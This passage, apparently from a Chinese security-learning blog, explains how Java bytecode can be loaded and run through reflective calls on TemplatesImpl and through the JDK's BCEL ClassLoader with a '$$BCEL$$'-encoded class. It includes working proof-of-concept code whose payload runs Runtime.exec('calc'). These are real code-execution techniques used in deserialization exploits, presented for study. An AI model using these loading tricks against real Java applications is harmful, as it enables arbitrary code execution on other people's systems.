        Field field = mpl.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(mpl,value);
    }
}

虽然报错,但是成功弹出计算机:

image-20241225222546228

报错是正常的,因为本来构造出来的动态加载字节码就会导致原有逻辑被破坏,所以是肯定会报错的。但达到了最终目的。

那么现在我们来尝试一下利用那个public修饰符的方法,即getTransletIndex,代码如下:

1
2
3
4
5
6
7
8
9
public synchronized int getTransletIndex() {
        try {
            if (_class == null) defineTransletClasses();
        }
        catch (TransformerConfigurationException e) {
            // Falls through
        }
        return _transletIndex;
    }

这里也是只需要_class变量为null即可,现在就继续跟defineTransletClasses(),但是这里就有个问题,无法实例化,这也是为什么没有利用到这个的原因。

继续思考,是私有方法,为什么不直接使用反射来获取,因为TemplatesImpl类有一个无参的公共的构造方法,尝试构造一下

弹计算机代码不变,如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package java_foundation;

import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Text extends AbstractTranslet {
    public Text() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

Main.java变为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//对象+getClass()
package java_foundation;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main{
    public static void main(String[] args) throws Exception {
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\java_foundation\\Text.class"));
        TemplatesImpl ctf = new TemplatesImpl();
        Method method = ctf.getClass().getDeclaredMethod("getTransletInstance");
        setFieldValue(ctf,"_name","fupanc");
        setFieldValue(ctf,"_bytecodes",new byte[][]{code});
        setFieldValue(ctf, "_class", null);
        setFieldValue(ctf, "_tfactory", new TransformerFactoryImpl());
        method.setAccessible(true);
        method.invoke(ctf);//但是其实在根本上没有变化,都是在getTransletInstance方法这里实例化,没办法,只有这里接收到了defineClass()返回的类,这里才能实例化
    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

其他就不多说了。

利用BCEL ClassLoader加载字节码

关于BCEL可以先看看P神的文章:https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html#0x01-bcel

在Java 8u251的更新中,这个ClassLoader被移除了,简单了解一下。这里用JDK7看一下

——————————————

BCEL全名是Apache Commoms BCEL,属于Apache Commoms项目下的一个子项目。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。它很特殊的点在它被包含在了原生的JDK中,位于com.sun.org.apache.bcel中。

BCEL包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法,去看一下源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
protected Class loadClass(String class_name, boolean resolve)
    throws ClassNotFoundException
  {
    Class cl = null;

    /* First try: lookup hash table.
     */
    if((cl=(Class)classes.get(class_name)) == null) {
      /* Second try: Load system class using system class loader. You better
       * don't mess around with them.
       */
      for(int i=0; i < ignored_packages.length; i++) {
        if(class_name.startsWith(ignored_packages[i])) {
          cl = deferTo.loadClass(class_name);
          break;
        }
      }

      if(cl == null) {
        JavaClass clazz = null;

        /* Third try: Special request?
         */
        if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);
        else { // Fourth try: Load classes via repository
          if ((clazz = repository.loadClass(class_name)) != null) {
            clazz = modifyClass(clazz);
          }
          else
            throw new ClassNotFoundException(class_name);
        }

        if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);//这里调用了defineClass方法
        } else // Fourth try: Use default class loader
          cl = Class.forName(class_name);
      }

      if(resolve)
        resolveClass(cl);
    }

    classes.put(class_name, cl);

    return cl;
  }

其中调用的是defineClass()方法

1
2
3
4
if(clazz != null) {
          byte[] bytes  = clazz.getBytes();
          cl = defineClass(class_name, bytes, 0, bytes.length);//这里调用了defineClass方法
        }

看代码,这里就需要需要BCEL字节码的开头为$$BCEL$$,用createClass方法获取类的Class对象从而可以赋值给clazz。

1
2
 if(class_name.indexOf("$$BCEL$$") >= 0)
          clazz = createClass(class_name);

简单梳理一下过程,首先就是设置cl为null

image-20250113134853315

然后在下面这个条件语句判断开头有没有这个东西,如果有,就使用createClass()方法来对象并赋值给clazz,具体实现可以自己去看源代码(在createClass方法内就已经将BCEL形式的字节码转换成JavaClass对象了)

image-20250113134905357

此时clazz不为null,那么就会进入到下面这个语句

image-20250113134917713

这里就会调用到defeineClass()方法了,再在这里面得到类的Class字节码,最终获得类对象cl并return了回去。

流程已经基本清楚,那么如何利用呢,如下:

在BCEL中,它提供了Utility和Repository类

其中Repository提供了lookupClass方法用于加载一个类

image-20250113134930450

Utility类提供了一个encode方法用于将JavaClass对象转换成BCEL形式的字节码

image-20250113134945026

1
String code = Utility.encode(clazz.getBytes(), true);

再用BCEL ClassLoader进行加载

1
new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();//这里就是简单的实例化对象后的对一个函数的调用

整合一下,我们可以这样利用

编写恶意类:

1
2
3
4
5
6
//Test.java
public class Test{
    static {
        Runtime.getRuntime().exec("calc");
    }
}

POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class Main {
    public static void main(String[] args) throws Exception {
        JavaClass clazz = Repository.lookupClass(Test.class);
        String code = Utility.encode(clazz.getBytes(), true);
        System.out.println(code);
        new ClassLoader().loadClass("$$BCEL$$" + code).newInstance();
    }
}

成功弹出计算机:

image-20250113134713625

代码为什么要这样构造其实已经比较清楚了,可以自己想想流程来对比一下。

还有的就是这里JDK7运行需要改idea的配置,为了能测试成功改了,但是后面又改回来了,刚好防止自己忘,可以参考文章来改:https://blog.csdn.net/weixin_46001244/article/details/108601584

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计